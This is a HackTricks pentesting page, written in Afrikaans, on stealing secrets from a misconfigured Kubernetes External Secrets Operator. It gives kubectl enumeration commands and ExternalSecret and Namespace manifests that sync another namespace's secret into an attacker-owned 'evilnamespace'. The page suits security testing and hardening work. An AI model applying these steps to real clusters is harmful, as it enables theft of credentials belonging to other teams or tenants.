# External Secret Operator {{#include ../../banners/hacktricks-training.md}} **Die oorspronklike skrywer van hierdie bladsy is** [**Fares**](https://www.linkedin.com/in/fares-siala/) Hierdie bladsy gee 'n paar riglyne oor hoe jy kan slaag om geheime te steel van 'n verkeerd geconfigureerde ESO of toepassing wat ESO gebruik om sy geheime te sinkroniseer. ## Disclaimer Die tegniek hieronder kan slegs werk wanneer sekere omstandighede nagekom word. Byvoorbeeld, dit hang af van die vereistes wat nodig is om 'n geheim op 'n naamruimte wat jy besit / gecompromitteer het, te laat sinkroniseer. Jy moet dit self uitfigure. ## Vereistes 1. 'n Voet in 'n kubernetes / openshift-kluster met administratiewe regte op 'n naamruimte 2. Lees toegang op ten minste ExternalSecret op kluster vlak 3. Figurer uit of daar enige vereiste etikette / annotasies of groepslidmaatskap nodig is wat toelaat dat ESO jou geheim sinkroniseer. As jy gelukkig is, kan jy enige gedefinieerde geheim vryelik steel. ### Inligting oor bestaande ClusterSecretStore versamel Aneem dat jy 'n gebruiker het wat genoeg regte het om hierdie hulpbron te lees; begin eers deur bestaande _**ClusterSecretStores**_ op te lys. ```sh kubectl get ClusterSecretStore ``` ### ExternalSecret enumerasie Kom ons veronderstel jy het 'n ClusterSecretStore gevind met die naam _**mystore**_. Gaan voort deur sy geassosieerde externalsecret te enumerate. ```sh kubectl get externalsecret -A | grep mystore ``` _Hierdie hulpbron is naamruimte-geskepte, so tensy jy reeds weet watter naamruimte om te soek, voeg die -A opsie by om oor alle naamruimtes te kyk._ Jy behoort 'n lys van gedefinieerde externalsecret te kry. Kom ons neem aan jy het 'n externalsecret objek genaamd _**mysecret**_ gevind wat gedefinieer en gebruik word deur naamruimte _**mynamespace**_. Versamel 'n bietjie meer inligting oor watter soort geheim dit hou. ```sh kubectl get externalsecret myexternalsecret -n mynamespace -o yaml ``` ### Die samestelling van die stukke Van hier af kan jy die naam van een of meer geheime name verkry (soos gedefinieer in die Secret hulpbron). Jy sal 'n uitvoer kry wat soortgelyk is aan: ```yaml kind: ExternalSecret metadata: annotations: ... labels: ... spec: data: - remoteRef: conversionStrategy: Default decodingStrategy: None key: SECRET_KEY secretKey: SOME_PASSWORD ... ``` Tot dusver het ons: - Noem 'n ClusterSecretStore - Naam van 'n ExternalSecret - Naam van die geheim Nou dat ons alles het wat ons nodig het, kan jy 'n ExternalSecret skep (en uiteindelik 'n nuwe Namespace patch/skep om te voldoen aan die vereistes wat nodig is om jou nuwe geheim gesinkroniseer te kry): ```yaml kind: ExternalSecret metadata: name: myexternalsecret namespace: evilnamespace spec: data: - remoteRef: conversionStrategy: Default decodingStrategy: None key: SECRET_KEY secretKey: SOME_PASSWORD refreshInterval: 30s secretStoreRef: kind: ClusterSecretStore name: mystore target: creationPolicy: Owner deletionPolicy: Retain name: leaked_secret ``` ```yaml kind: Namespace metadata: annotations: required_annotation: value other_required_annotation: other_value labels: required_label: somevalue other_required_label: someothervalue name: evilnamespace ``` Na 'n paar minute, as die sink toestande nagekom is, behoort jy die gelekte geheim binne jou naamruimte te kan sien. ```sh kubectl get secret leaked_secret -o yaml ``` ## Verwysings {{#ref}} https://external-secrets.io/latest/ {{#endref}} {{#ref}} https://github.com/external-secrets/external-secrets {{#endref}} {{#include ../../banners/hacktricks-training.md}}